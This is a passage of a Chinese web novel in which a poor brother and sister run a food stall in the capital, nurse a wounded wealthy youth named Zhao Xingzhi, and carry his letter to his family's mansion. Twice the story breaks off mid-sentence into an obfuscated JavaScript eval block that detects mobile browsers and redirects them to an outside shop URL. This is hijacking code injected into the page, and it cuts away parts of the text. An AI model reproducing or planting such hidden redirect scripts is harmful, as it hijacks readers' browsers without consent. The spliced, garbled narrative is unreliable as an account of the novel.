“哥,村长这会儿肯定睡了,你半夜三更去敲门再吓着人家。回头人真的死在咱家,就咱俩,说都说不清。” 梅映禾看了一眼地上的人,“我看着还能喘气,先救命再说,等明儿他醒了也能说得清。” 是这个道理没错,眼下这个男人才是最好的证人,这事跟他们兄妹无关。 梅九畴二话没说,扛起地上的男人就进屋了。 左顾右盼,总不能让这个陌生男子占了妹妹的床,梅九畴索性直接将人放在自己床上。男人被他大力扔下,闷哼一声,胸腔震荡,一口血喷出口,弄脏了胸前的衣襟。 梅映禾赶紧去倒了水过来递给哥哥,梅九畴掰开那人的嘴生生灌了小半盏,又拿来湿帕子擦拭他的脸、脖子和胸前污脏的地方。 淘洗了三次帕子才堪堪露出一张白净清秀、浓眉长睫的俊脸。 “长得还不赖。”梅映禾仔细打量一番,“衣料也不错,像是富贵人家出身。” 这一点梅九畴早就看出来了,男人腰间挂着的那枚玉佩,雕工精巧、油润细腻,方才月光下看都透着温泽的光,一看就是好东西。 “他胸口有伤却不致命,身上多处有刀伤,都是小伤,伤口不深却多。”梅九畴常年习武,别的不懂,这些倒是驾轻就熟,“性命无忧,先止血,养上一阵应无大碍。” “可要请大夫?”梅映禾看着哥哥问。 “没银子。”梅九畴一本正经道,“这些伤我会治,家里还有些草药可以先对付对付,虽说好得慢些却也能救命。” 如此,甚好。 “等这人醒了就让他的家人来接,这般穿着打扮的小郎君,家人必定会重金酬谢。”梅映禾说,“哥哥切不可贪心,人家给多少咱们就拿多少。” 梅九畴点了点头,“我都没想到这层,一切听小早的。” 倒不是为了银子,只是谁叫他们太穷了呢,虽说草药不用银子都是后山上采摘来的,可这么大个人在家里养伤总要吃饭吧,他们兄妹如今都是吃了上顿没下顿的,还要再多出来一张嘴,给些酬劳也算是应得的吧。 梅映禾想着,看看那人已经呼吸平稳,便不再过问,打了个哈欠爬回床上睡觉去了。 因得有了第一日做买卖的经验,第二日要做的几乎翻倍,梅九畴这一夜也没怎么睡,给男人止了血,自己披着衣裳坐在床边打了个盹儿便早早起身了,收拾好东西装到车上,一切准备就绪梅映禾才起床走出来。 晨光熹微,天还没亮,只莹莹的一小束打在小娘子脸上,眉清目秀,面颊白里透红,水汪汪的大眼睛弯弯地看着他笑,“哥哥。” 这甜甜的一声,让梅九畴眉开眼笑,“早儿起来了,睡得可好。” “嗯,好着呢。”梅映禾去旁边水缸里掏了一把凉水洗脸,顿时来了精神,“哥,那人怎么样?” “挺好。”梅九畴道,“早上我又给他上了药了,想来能睡好一阵子。” 梅映禾放心了,看着哥哥的黑眼圈,这一夜想来也是没睡。 “哥,今儿挣了银子给你做好吃的。”梅映禾套上外衫坐到车上,“我从前跟阿娘学的绝活儿。” 梅九畴也不拆穿她,只咧嘴笑道,“咱们小早就是聪明伶俐,啥都懂,啥都会。” 有这样一个彩虹屁的哥哥,可真是太爽了,梅映禾想。 昨日是第一天出摊,成果不错,今日兄妹俩远远地就瞧见自己摊位的地方已经自发排起了长龙。 “你们兄妹才来啊,快些,咱们都等着呢。”昨日那位大婶今日又来了,“我家小孙子吃着觉得极好,今儿多买几个,大人们也都尝尝。” 一下子就要了四个。 后面排队的人除非今日是第一次品尝,但凡昨日来买过的,今日最少都要了两个,还有人一口气买了七个,梅映禾都怕他吃不完,“阿叔,这个放久了软绵绵的就不如刚出锅的香。” “小娘子放心,咱们家人口多,一口气都吃光。” 大叔捧着七个软饼高兴地走了。 梅映禾今日算好的四十出头,其实还是多备了一些,应该是够的。 队伍比昨日还长,干脆打了两道弯,昨天的七个书生果然叫来了同伴,都穿着一样的衣裳,想来应当是书院发的。大家侧着身子探出队伍看着忙碌的小娘子,是真的好看呀,人长得好,皮肤生得白皙,眉眼弯弯脸上始终带着甜甜的笑,跟人打招呼聊天声音也是甜甜的,还有她做软饼的动作,实在有如舞蹈却并不矫揉,更增添了几分英姿飒爽的风采,实在看得人挪不开眼。 “瞧瞧人家,到底是风华正茂的小娘子,模样俊俏连东西也好卖。” 这话是一旁同样卖早食的阿婶说的,她卖的是肉包,手掌大的肉包四文钱三个,个头不算太大,价格比梅映禾的软饼贵一些,但是闻着味道却是极香浓的。 但是大婶这话说得颇有几分酸意,隔壁卖粥的老汉笑道:“是好看,不过人家的软饼也好,连我老汉闻着都馋。” “想当年我年轻的时候排队等着看我的人比这可长多了。” “是,是,大婶你现在也风韵犹存呢。” …… 大家的摊铺前没有这么好的生意,人闲下来就开始闲聊。这些话多少带着些醋意,梅映禾听进耳朵里,回头看了一眼同样正在忙碌的哥哥,梅九畴倒是罕见地没蹦出来跟人算账,还好脾气地悄悄冲妹妹摇摇头,意思让她别计较。 嗯,钱的魅力,这才几日啊,愣头青哥哥都知道小不忍则乱大谋了,梅映禾心里高兴,冲着面前正在等软饼的男人道:“大哥要几个,甜的辣的。” 男人说:“人口多,六七个都可以,甜辣都要。” 梅映禾甜甜一笑,“大哥,我卖给你四个,旁边阿婶的包子也是极好吃,我这个毕竟是素馅的,配上包子和阿伯的粥那才叫完美。” 这是帮着人家一起推销了,阿婶和阿伯皆是一愣。 男人被她甜美的笑容闪了神,半晌才道:“都听小娘子的。” 梅映禾冲隔壁阿婶挤了挤眼,“阿婶,快装包子啊,这位大哥等着回家呢。” 隔壁的老汉也忙着盛粥,三份早食一并交到男人手上,梅映禾道:“大哥吃得好明日再来,我多送您一个鸡子。” 大哥眉开眼笑地红着脸走了,隔壁阿婶的包子和阿伯的粥也由此连带着提前卖了个精光。 今日卖得多,足足两个多时辰,倒也是全都卖光了,只梅九畴却不乐意了,“明日还是只卖二十个,我看你都累得腿肚子转筋了。” 梅映禾笑道,“放着钱哥哥不让我赚,那我就哭给你看。” 梅九畴拿妹妹没办法,心里盘算着什么也没多说。 兄妹两个今日不但自己卖完了,还带着邻居们的一起宣传了,阿婶颇有些过意不去,拿了一小筐子鸡子硬塞给梅映禾,“这是阿婶自己家里的鸡下的,你别嫌弃,阿婶这个人嘴不好你多担待。” 梅映禾说啥也不要,“阿婶这是做甚呢,大家在一处卖早食相互帮衬是应该的,若不是阿婶心眼好,这里哪有我的空儿。” 这话倒是不假,当日来的时候也是这位阿婶看着兄妹两个不容易,才硬是挤出一片地方给他们摆摊。 阿婶坚持,一个硬塞一个不收,二人僵持着,还是那位卖粥的阿伯发话了,“小娘子就收了吧,你若是不收你阿婶该吃不下饭睡不着觉了。” 梅映禾没法子,这才收下,道:“那明日阿伯和阿婶都别吃早食,我给你们做软饼吃。” 如此算是说好了,兄妹二人乐呵呵地告辞回家去了。 今日阳光甚好,京城的街道上车水马龙,看得梅九畴目不暇接。其实也没什么可新奇的,就是觉得哪哪都跟梅花村不一样。 “那可不是不一样嘛,这是京城。”梅映禾说,“是大隶朝的心脏。” 这话说得梅九畴有点儿怵,下意识地摸了摸自己的心,“能住在这里的人应该都很有钱吧。” 梅映禾点了点头,“那是自然,最起码比咱们有钱。不过哥哥,你放心,咱们好好干,用不了多久咱们也能从梅花村搬到京城里来住的。” 真的吗,梅九畴很欣喜,虽然不知道妹子有什么计划,可是他从小就知道,只要小早想做的事就一定能做成。比如小时候她想学识字,跟着母亲就去拜了一个老秀才,可是老秀才不教女娃娃,小早就跟着梅九畴蹲在人家屋舍外头听,一样是听了两年,小早什么都学会了,梅九畴什么都不会。 还是因为小早聪明,打小就聪明,梅九畴想,她跟自己不一样。 “哥哥,想什么呢。” 梅映禾的声音打断了梅九畴的思绪,一抬头,看见妹子正在一个卖鞋的摊铺前站着,手里拿着一双鞋子,“过来试试。” “试这干啥。”梅九畴不肯。 “试试合适咱买。”梅映禾拉着他,“哥哥的鞋子实在太破了,可惜你妹子我不会做鞋子,咱就买一双吧,我算着钱够。” “不要。”梅九畴一口回绝,将妹妹硬给他试穿在脚上的鞋子扒拉下来,“回家,别浪费银子。” 就算有多余的银子也应该先给小早买衣裳鞋子,他一个壮汉子穿啥都一样。 “哥哥——”梅映禾拖了长音带着哭腔,委屈巴巴地看着他。 “不买。”梅九畴坚持。 “好,不买也成。”梅映禾一歪脑袋,“那我回去就让小梅姐给哥哥做一双,小梅姐肯定乐意。” 如此一说,梅九畴的脸腾地一下红了,“我不要,你别去麻烦人家。” “不麻烦,小梅姐早就说要给你做衣裳鞋子呢,就这么定了,鞋子不要了咱们去买布。”说着梅映禾就拉着梅九畴要走,“要么买布让小梅姐做给你,要么买这双。” 梅映禾威胁他,“不然,我这就哭……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13819656|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“好好好,买。”梅九畴不情不愿,比起让小梅做鞋子这样羞死人的事情,他还是更愿意买一双吧,小梅的心思他不是看不懂,可是家里太穷了,他不想拖累人家。 买了鞋又买了些涂外伤的药,梅映禾按照心里盘算着又去买了鸡、佐料和一点儿大米、小米,还买了三只即将长成的小母鸡,养在家里能下鸡子,这样就不用花银子买鸡子了,毕竟这是做软饼必不可少的。 二人回到家的时候已经过了午时,梅九畴说随便吃点就好,梅映禾答应着却没照办,看着哥哥忙着又出门去了,她洗手下厨,今日打算给哥哥做曾经杀遍天下无敌手的绝活——地锅鸡。 将鸡肉洗净剁成小块用盐、酱油、酒腌制一炷香,土豆、香菇、青椒切成大块,葱切段,生姜切片,大蒜拍碎即可。在锅中倒入,油热放入八角、香叶、花椒、辣椒炒出香味,将腌好的鸡块倒入锅中,翻炒至变成金色,加入事先调好的酱料,然后放入酱油、糖、醋等佐料继续翻炒,加水炖至八成熟,加入土豆,贴上面饼,盖上锅盖收汁,直到汤汁浓稠,出锅前撒上葱花和大蒜便大功告成。 这道菜鲜香中透着辣味,最是下饭。 梅映禾不知道哥哥干什么去了,总之吃饭的时候他肯定会回来。小娘子不慌不忙地做饭,地锅鸡的香气透过锅盖飘满整个屋子的时候,梅九畴进门了,手里还拿着什么东西。 “过来试试。”梅九畴将东西放下,招呼妹妹。 是一个高脚凳子,看样子像是刚做好的,梅映禾坐上去试了试,高度刚刚好。 “这样你以后就能坐着干活了。”梅九畴的脸上露出笑容,梅映禾这才看到哥哥满脸汗水,身上也脏成了一片。 “你干什么去了?这凳子哪里来的。” “郭木匠家有现成的材料,刚拜托人家给做的。”梅九畴用力拍了拍凳子,“我看着他做的,结实得很,没花银子。” 没花银子,那就是用体力换来的。郭木匠手艺没的说,却腿脚残疾,也是那次洪水落下的,家中的木材、大料平日搬不动的,恐怕今日全让梅九畴一个人搬完了。 一想到哥哥忙了一早晨又跑去给人干体力活,梅映禾心里酸酸的。 “你这是作甚,不就是出点儿力气嘛,你哥有的是力气。”梅九畴不以为然,却闻到了香气,“你炖了啥,这么香。” 梅映禾抹掉眼泪,没再说什么,赶紧让哥哥去洗洗,“地锅鸡,专门给你做的,吃饭了。” 掀开锅盖,鲜香浓郁的辣味直窜鼻子,梅九畴就开始咽口水,“看着就好吃。” 梅映禾给哥哥盛了一大碗饭,又浇了汤汁在上头,再夹两块鸡腿肉垒在最上头,一碗饭尖尖的,深褐色的汤汁泡透了米饭,又香又辣的地锅鸡软烂又有嚼劲,锅子一圈还贴了面饼,那面饼被汤汁泡透,别提多好吃了。 梅九畴足足吃了两大碗米饭和大半锅贴饼子,这才满足地笑笑,“小早真是厉害,你咋能会做这么些东西呢。” 这才到哪儿呢,梅映禾说,“哥哥这下信了我吧,咱们早晚有一日也能赚银子搬到京城里去住。” 说完,梅映禾放下碗筷,将钱袋子抖搂出来,“昨日咱们剩了十二文,今日赚了一百四十七文,除去花掉了,还剩下五十三文,这样一共就是六十五文钱。但是咱们的食材还不够,米啊面啊都快用完了,还要买些肉,我还想买些种子,咱们院子里的地荒着也浪费,可以自己种小葱、青菜,也能省一些,这样还要花销,我粗算了一下,目前能剩下来大约三十文。” 三十文,才两日,纯纯挣了三十文。 “这么算下来,咱们用不了一个月就能还清那七百文钱。”梅九畴很兴奋。 梅映禾点点头,“理论上是这个意思。” 梅九畴很解气地“嗨”了一声,“你说咋办咱就咋办,哥哥都听早儿的,赶明儿等你做得熟了,哥哥也能去京城里谋个体力活干,这样咱们赚得就更多了。” 话说到这儿了,梅映禾决定趁热打铁,“哥哥,我不想让你去干体力活。阿爹从小就不是将你当作普通人培养的,你一身的武艺和力气,去做那些太浪费了。咱们现在日子越过越好,哥哥去求求京城里那个将军庙,赶明儿等招兵的时候去报名,一准儿能中。” 怕他推辞,梅映禾一鼓作气又劝,“你妹妹这样做吃的也不是长久之计,赶明儿哥哥若是能在军营里头混出个头脸,妹妹也能跟着享福不是,早儿以后就靠哥哥了。” 一番话还真说得梅九畴动了心思,当兵入伍参军上战场,一直都是他的梦想,可是眼下这日子实在艰难,“招兵的事儿等等再说吧,哪里那么简单,身体好会功夫也未必能被选中,大隶这些年重文轻武,招兵次数少不说,就算招兵了也需要找关系有门路,咱们这样的恐怕早就被人挤掉了。” 这倒是实话,可是梅映禾觉得事在人为,说不定呢,对吧。 在妹妹的强烈央求下,梅九畴答应时刻留意招兵的消息,说了这些梅映禾才想起来回头看了看屋里,“他醒了吗?” 梅九畴回到家就给那男人上了药,人这会儿还睡着。 梅映禾说:“没有,我去看过,睡着呢。” 屋里,灿烂的光线落到男人的眉眼上,长长的羽睫薇薇颤了颤,兄妹俩的话,赵行之全都听得一清二楚。 5. 你是有钱人吗? 诱人的香气实在让人蠢蠢欲动,赵行之睁开眼,意识逐渐恢复清醒。 从小到大对任何吃的都不感兴趣,以他的身份,什么山珍海味没见过,可是这种味道……他从未闻到过,就是那种五脏庙连带着整个人瞬间被唤醒的感觉。 稍稍转了转脖颈,有些酸痛,身上被涂了药,不方便动弹却能感觉到止了血,头还有些发晕,眼前阳光倒是很好,屋子里简陋、贫穷,却挺干净。 “小郎君,你醒了?” 一张明媚精致的面庞映入眼帘,阳光下,赵行之看到了梅映禾长长的睫毛,弯弯的眼睛,还有她脸上细细的绒毛,以及……似樱桃般饱满晶莹的红唇上挂着的——油。 赵行之下意识往后侧身,不小心拉扯到了伤口,“嘶”的一声吸气,身子还没来得及动,前额上就被一只柔软细嫩的小手盖住了, “别动,我摸摸。” 小娘子面色凝重,声音却清凌凌的好似冰击碎玉,水灵灵、甜丝丝的。 赵行之十七年的人生中,从未和任何小娘子如此近距离接触过,那一瞬,他觉得自己仿佛被她的手掌封印住,浑身僵硬,一动也不能动。 “嗯,退烧了。” 她的手终于收了回去,身子也撤回到凳子上,继续端着碗吃东西。 赵行之这才看清楚,她满满一碗米饭被汤汁浇透呈褐色,被挖空的地方堆着饱满浑圆的鸡腿肉,上头裹着黏稠浓郁的汤汁。她就这样一边看着他,一边将一块无骨肉塞进嘴巴里,随着她的咀嚼和满足的表情,赵行之的肚子不争气地咕噜了好大一声。 他饿了。 可是这一声也实在太尴尬了。 梅映禾显然听到了响声,瞪着一双杏眼看着他。面前的小郎君醒了,果然没让她说错,眼睛又大又好看,瞳仁漆黑深邃,仿佛那静谧的夜空,还挂着璀璨的星星。高高挺直的鼻梁,紧闭的双唇,冷傲带着防备的眼神,除了那一声腹内的空城计。 “你饿了?”梅映禾噌地一下跳下凳子,“你等着。” 不容他答话,小娘子放下碗筷飞快地跑去灶间。房子很小,赵行之能看到她踮着脚尖忙碌的身影。再看看她吃了一半的地锅鸡拌饭,赵行之的眼睛好似长了钉,怎么都拔不出来,想象一下这是什么样的味道…… 不多时,小娘子小心翼翼地捧着一只碗回来,放在他面前。 “这小米粥可是大补的东西,又贵又不顶饱,我们这是托了小郎君你的福,才能享用几口。”她笑得大大方方,“你一看就是个金贵人,吃不得我们这些粗茶淡饭,哥哥说这粥对你身子好,赶紧趁热吃一碗吧。” 金黄色的小米粥被她熬得浓稠黏腻,米脂敷了厚厚一层,被端到他面前,赵行之错愕间还是接过碗慢慢吃起来。 小娘子显然对他的乖顺很满意,笑眯眯地又端起自己的碗认真干饭。 小米粥香甜却不及地锅鸡霸道的香气直冲鼻腔,看着人家的饭,吃着自己的病号饭,赵行之找到点儿画饼充饥、望梅止渴的意思来,不知不觉一整碗小米粥吃了个精光。 “好乖。”梅映禾对他干完了一整晚粥很是惊喜。 说实话,她从前生病的时候,若是没有酱菜、老干妈之类的灵魂,让她生生吃下这么一碗不放糖、没滋味的米粥,简直就是受刑。 再看看眼前的小郎君,约莫跟她的哥哥差不多年岁的样子,但是整个人看上去白白净净的,就是那种很乖很温柔很听话的感觉。 “你身上伤还没好,继续躺下休息吧。” 她的口气像哄娃娃。 赵行之皱了皱眉头,没有搭话,本着一张脸坐着不动。 “你叫什么名字。”梅映禾继续吃自己的饭,她吃饭慢,但却吃得极香,“是京城人士吗,为什么会受这么重的伤,是有仇家吗,你家在京城吗,你家里人一定很担心你吧,要不要我帮你给他们送个口信……” 小娘子一边扒饭一边跟他聊天,渴望着他能说出一个惊心动魄的故事助她下饭,结果对面的人像块木头,一张脸拉得老长一句话都不说,眼神直直看着外头梅九畴修了一半还没修好的墙,像是在跟谁赌气似的。 青春期叛逆嘛,懂。 “你不愿说算了。”梅映禾好脾气地笑笑,又往嘴巴里塞了一块肉,“你先安心在这里养伤,我们家里你也看到了,只有我和哥哥两个人,每日我们都要入京去卖早食,你就好好休息就成。” 他满眼戒备和警惕,梅映禾介绍完自家的情况刚好饭也吃完了,抹了把嘴,道:“你放心,我们都是好人,救命不图财,等你日后好了把这几日的饭钱补上就行。” 知道得不到回应,梅映禾也不计较,笑眯眯地收拾了碗筷去洗刷了。 天光正盛,梅映禾一边刷碗一边就琢磨上了。本来是打算两三日后,等软饼稳定下来就开始上肉夹馍和里脊卷饼,毕竟软饼卖不上价,而且产品太过单一没办法广开财路。 可是,经过昨日的事情,梅映禾犹豫了。 虽然现在他们缺银子,可是谁不缺银子呢。自己的摊铺是新来的,生意很火爆人气很高,难免周围的同行嫉妒,昨日就是个例子,若不是她化解了矛盾,恐怕这积怨便从此便结下了。 冤家宜解不宜结,做了十几年餐饮了,梅映禾知道多个朋友多条路的道理,再迫切地想要赚钱也不能太着急了,得循序渐进。 于是,肉夹馍和里脊卷饼的事就暂且再多放两日,梅映禾打算先铺垫一下,她不是个见钱眼开自私自利的人,大家的感受还是要照顾一下的。 同哥哥商量过,今日也打算做四十多个就差不多了。 梅映禾没有食言,这一日来到铺子上就先给阿婶和阿伯每人做一个两个鸡子的软饼,多多放了酱料,味道浓郁,真真是解馋。 一旁其他的同行看着,索性多做几个每人都尝尝,大家纷纷道谢大口品尝,这味儿真是从未吃过,甜辣香咸,刺激食欲让人胃口大开,饼子软且裹着蛋液,口感十分细腻。 “小娘子真是好手艺,这软饼好吃且旁人学不去。” 有人夸赞,另一人却道:“主要是这酱料,小娘子,不知道你这酱料是如何做的?” 这便是打到了人家的腰眼上,若是不说便是她梅映禾小气藏私,若是说了便是透了自己的拿手绝活,这人想打听秘方,也是在为难人。 “大良,瞧你问的这是什么话。”阿婶扬声挡在梅映禾身前,笑道,“咱们若是问问你那油条馓子是如何煎炸的,你可说?” 那人讪讪闭嘴,闹了个大红脸。 “是,不该打听的别打听,欺负人家小娘子就不厚道咯。”阿伯也慢吞吞地帮腔。 这算是行规,没人会直愣愣问到人家脸上:“你家的拿手绝活怎么做呀……” 梅映禾笑笑没说话,那人也再不敢多言,只道,“我是觉得太好吃了,一时失言,莫怪莫怪。” 这事便如此过去了,但是梅映禾却觉得很是感激阿婶和阿伯,于是便多说了两句:“阿婶的肉包子多放些葱会更香,而且还可以换个样子,做好了锅里放油,煎一煎就成了煎肉包,金黄冒油,趁热吃外酥里嫩,阿婶可以试试。” 阿婶眼睛一亮,她做包子几十年,只梅映禾这几句话立即就明白了,抚掌道,“正是正是,我今儿回去就试试。” “阿伯,你的粥也可以换几种样子,甜的、咸的,还有可以放鸡肉丝外加一些青菜碎,或者皮蛋、猪肉丁,就取名鸡丝青菜粥和皮蛋瘦肉粥,想来能多卖几两银子味道也比白粥丰富。 种类多了,想吃什么便由得客人去选,若是这肉粥能配上这煎包或者我这软饼,啧啧啧……”梅映禾当真咽了口水,“一绝。” 听着就好吃,这是在给他们拓宽思路,激动的阿婶和阿伯在一旁研究了好一阵子,二人一拍即合打算第二日就试试,而且还商量好了,阿婶带两张矮桌,阿伯带几把小木凳,拼凑成两张食案,这生意便打开了。 今日卖了四十五个,剩下几个都让梅映禾分给了同做早食的邻居们,一共得了一百三十五文钱。 “照如此下去,每日一百多文不在话下。”梅九畴伸出一只脚,弯腰掸了掸掉鞋面上根本看不见的灰尘,他这一日都不知道掸了多少回了,那双鞋干净得跟没穿过一样。 “这还不够呢,咱们还能赚更多。”梅映禾高高昂起头,看着京城里一个个林立的酒楼、食肆,满眼都是羡慕。 若是之前梅映禾说这话,梅九畴八成觉得不可思议,这几日下来梅九畴是真心觉得妹妹开了天眼了,那句话怎么说来着,大难不死必有后福,妹子从前就很有能耐,可是现在更有能耐,不仅自己能赚银子,还能教旁人赚银子,梅九畴心里是满满的骄傲。 兄妹两个慢慢走着,眼前便是上京最出名的夜市,所谓夜市便是一整个区域,里头大约纵横交错共九条街道。每条街道两旁都是一个一个的摊铺,若是能进得这里便能落得一席之地,白日里还不是很显眼,夜晚时分,华灯初上,整片区域灯火通明、辉煌灿烂,那才叫气派。 这里做生意的有卖吃喝的,也有酒水香饮,还有小食蜜饯,自然也有卖衣裳、首饰、绢花、布匹的,还有那些家家户户都能用的各种用具、物品,五花八门、应有尽有。 梅映禾站在日光里,呆呆地望着这夜市,如果能进这里卖小吃,收入一定不菲。 梅九畴推着车子往前走,恍然间停住脚步,一回头才看到妹妹正愣愣地看着一个方向。 “早儿,你在那看什么呢。” 梅映禾被唤回神儿,赶两步一把抱住梅九畴粗壮的胳膊,“哥哥,我们要是能进夜市就好了。” 早上出摊卖早食,白天就回家准备食材、休息,晚上再出来夜市摆摊,多完美。 梅九畴看了妹子一眼,“你身子太弱,等等再说吧。” 他这话说得很认真,小早没日没夜地干,他这个当哥哥的心疼,若是能帮她一把,妹妹也不用这样担惊受怕辛苦劳累了。 可是,照身贴也只有三个月的效期,三个月后她们就进不了京城做生意了,也不知道那个时候许县丞能不能给梅花村的每一户人家都办好籍属证明……所以,赚银子要快。梅九畴心里生出一个想法,夜市的事从此便落进了她心里,但是进夜市谈何容易,要交银子,还要有关系,个中复杂,梅映禾默默感叹。 今日赚了银子,梅九畴惦记着请了个郎中回家,虽说家里有些草药可以救急,可毕竟效用不够。想起家里那个浑身是伤的男人,从身形、体格和受的伤来看,梅九畴剧的这个人很有可能是从军的。 梅家人对于从军的人向来有好感。 郎中到的时候,赵行之已经坐起身,正呆呆地看着门外。 “今日感觉如何。”兄妹两个将郎中请进屋里。 小郎君坐在日光里,轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“瞧你这一身,要是不想伤根基,还是多养一养再动武。”梅九畴一边换药一边道,“我真是羡慕你能有用武之地,不像我。” 赵行之第一眼看见他就注意到了这个精壮汉子,是个练家子,入伍必然是把好手,只是不知他为何发出如此遗憾的感叹。 “好了。”梅九畴拍了拍手,对他的沉默丝毫不介意,“能吃饭就多吃些,咱家虽不富裕却不差你这口饭,吃好了伤才能养得快。” 他端着盆转身就要出去,就听身后赵行之说了一句,“多谢。” 梅九畴闷哼一声出门去了。 外头小早已经将晚食做好了。香浓的牛肉粉丝汤上头飘着红红的辣油,薄薄的牛肉片和劲道的粉丝,看着就让人咽口水。筐子里搁着酥软的饼子,里头塞了满满的五花肉和青椒,盘子里还有已经卷得冒了头的里脊肉卷,简单粗陋的一餐饭却让赵行之食指大动。 看着就好吃。 三人入座,没有客套,看着兄妹二人狼吞虎咽,赵行之先尝了一口牛肉汤,浓郁的香气盈满口腔,粉丝爽滑筋道,牛肉薄薄一片却十分软烂,那叫肉夹馍的饼子塞进嘴里咬一口,一不小心嘴角就流出油来,香。 还有那个里脊肉卷,卷饼劲道里脊肉嫩滑,裹着浓郁的酱汁,甜中带着辣,味蕾一下子被打开,赵行之觉得这是他从小到大吃得最好吃的东西。 “粗茶淡饭你别嫌弃。”梅九畴吃得满嘴流油,笑眯眯地看着他,“喜欢就多吃些。” “哥哥,果真好吃吗。”梅映禾看看梅九畴又看看赵行之,“小郎君觉得味道如何。” 眼前的小娘子丝毫不扭捏、骄矜,虽然生的皮肉细嫩、妩媚明艳,却仿佛并不将这些放在眼里,满心满眼只有吃。 “好吃。”梅九畴连连点头。 梅映禾开心,又去看赵行之,他吃得斯文速度却不慢。 那双灼灼带着渴望的杏眼盯着自己,看得赵行之有些不自在,“极好。” 梅映禾松了一口气,得了,就它俩了。 “我打算过两日早食里就加这个。”梅映禾说,“哥哥,这样咱们就能多赚银子了。” 这个家实在太穷了,赵行之心里明白想起早晨小娘子的话,只无奈身上没带银子,于是默了默摘下腰间的玉佩递给梅映禾,“这个你们先拿去,换银子。” 梅映禾接过玉佩仔细看了看,这是一枚雕着喜上眉梢的镂空羊脂玉佩,玉质好,雕工细,定是值钱的东西。 可是她不能要。 将东西还给赵行之,“不要,这东西拿出去人家会以为我们是偷来的。” 赵行之:…… “早儿的意思是你给太多了,银子不着急,你记着就好,等你伤好了再说吧。”梅九畴解释,兄妹对望,相视一笑。 这种手足默契瞬间让赵行之心里酸酸的,很羡慕。 沉默片刻,赵行之说:“那我写一封信,烦请小娘子帮赵某人带到。” “哦,你姓赵啊。”梅映禾点头,“皇姓啊。” 大隶朝皇帝姓赵,梅九畴又看了一眼赵行之也点了点头,难怪这小子长成这副模样,听说蹭到皇姓的人都长得不赖。 “那你是有钱人吗?” 梅九畴冷不丁听妹妹就这么直愣愣地问出口,也跟着看向赵行之。 “算,是吧。”赵行之想了想,回答得很认真。 “好,那你回头写好,告诉我地址,明日我就去。” 捡了个有钱人家的孩子,就是好。 梅映禾开心地多吃了一个肉夹馍。 6. 好多钱 这一餐饭吃得三个人都十分满足,赵行之睡了许多年来最踏实的一觉,竟然连半夜下雨都没听到。 既下了雨,梅九畴便不让妹妹出摊了。 “咱们不比京城里的人,他们离家近来回方便,咱们这一趟出去回来身上非淋透了不可,你身子刚好些,可不能有闪失。” 梅映禾无奈,哥哥坚持她便也只能作罢。 但是昨日答应了赵小郎君去送信,梅九畴经不住妹妹软磨硬缠,还是点了头答应让她出去转转。穿戴好遮雨的斗笠蓑衣,家里还有一把没怎么舍得用的油纸伞,梅映禾全副武装地出门去了。 赵行之靠坐在床上,看着梅九畴送走妹妹,转头对他说了一句:“锅里头有饭,我出去一趟。”便一头扎进雨里,也朝着京城的方向去了。 这对兄妹的感情是真的好,赵行之想,就跟他和哥哥小时候一模一样。那时候的兄弟两个不分彼此,心里只有对方,不知从什么时候起,这种亲情不复存在了。 想起往事,赵行之的心往下沉了沉,从小无话不谈的两个人现在见了面却陌生又拘谨,彼此间的芥蒂和嫌隙越来越深,仰头看天,灰蒙蒙阴沉沉的,他不愿去想可控制不住自己,这次被人追杀,究竟是意外,还是…… 雨水冲刷着大地,地面变得泥泞不堪,梅映禾艰难地走着,每一步都很小心。 今日不用出摊倒也好,趁着下雨能好好看看京城的生意究竟好不好做,如果连下雨都不缺人气那便是真的可以闯一闯了。 先办正事,梅映禾掏出赵行之写的地址,很快便摸到了地方。 果然,小郎君是个实在人嘛。梅映禾望着眼前的高门大宅心中感慨,这么大的宅子最起码三进院子吧,这在京城得多少钱啊,这地段儿,相当于二环啊,天呐,她这是救了个财神爷吗。 上前去敲门,门房是一个很年少的小哥,梅映禾说明来意将信递上,小哥不识字,让她等一等,转头进去了。 大门开着,屋檐大且宽,梅映禾站在檐下望着街道上。这是京城最繁华富贵的一条街道,住的都是高官大户,难道这位赵小郎君也是个大官儿? 梅映禾盘算着,管他大官儿小官儿呢,左右不关她的事,只管带到口信把人接走便算是功德圆满了。 望着檐下淅淅沥沥的雨水,这雨大有越下越大的势头,梅映禾盘算着,她还是想去夜市再打听打听。 有一件事一旦落在心里头,便再难拔出,总让人心痒。 正心痒着门里传来脚步声,跟着门房出来的是一名看上去不过十六七岁的少年人,皮肤稍黑,眉目清冷,一张脸倒是跟那位赵小郎君如出一辙,不会笑。 “小娘子贵姓。” 对方倒是很客气,上前先行礼。 梅映禾赶紧还礼,“免贵姓梅,梅花村人氏。” 那人点头,“在下佑安,我家郎君现在可是在小娘子府上。” “正是在我家,他受了伤,我哥哥帮他上了药,这几日好转了,他让我来送信,看看什么时候你们去接他回家。” 梅映禾言简意赅,将赵行之的伤势说了个大概。 佑安想起了自家郎君信中所写,踌躇道:“接人不急,在下能否先跟小娘子回去见一见我家郎君。” 梅映禾:…… 怎么,不急着回家吗。 见小娘子十分不解地看着自己,佑安也不明白为何郎君不愿回府,但很显然,郎君自有道理。 佑安不解释,梅映禾也不好多问,心里的犹疑也只能暂且放一放,“我还有旁的事情要办,我告诉你地址,你自己去吧。” 佑安忙又行礼,道,“那便多谢小娘子了。” 这个叫佑安的小哥哥倒是很有礼貌,梅映禾将地址详细告诉他,佑安点头记下,这事算是办妥了。 梅映禾刚想告辞离去,听佑安道:“小娘子请留步。” 他转身,从身后随从的托盘里拿出一只锦袋,“这是酬劳,十两银子,是我家郎君吩咐交给小娘子的酬金,多谢小娘子和令兄的救命之恩。” 十两? 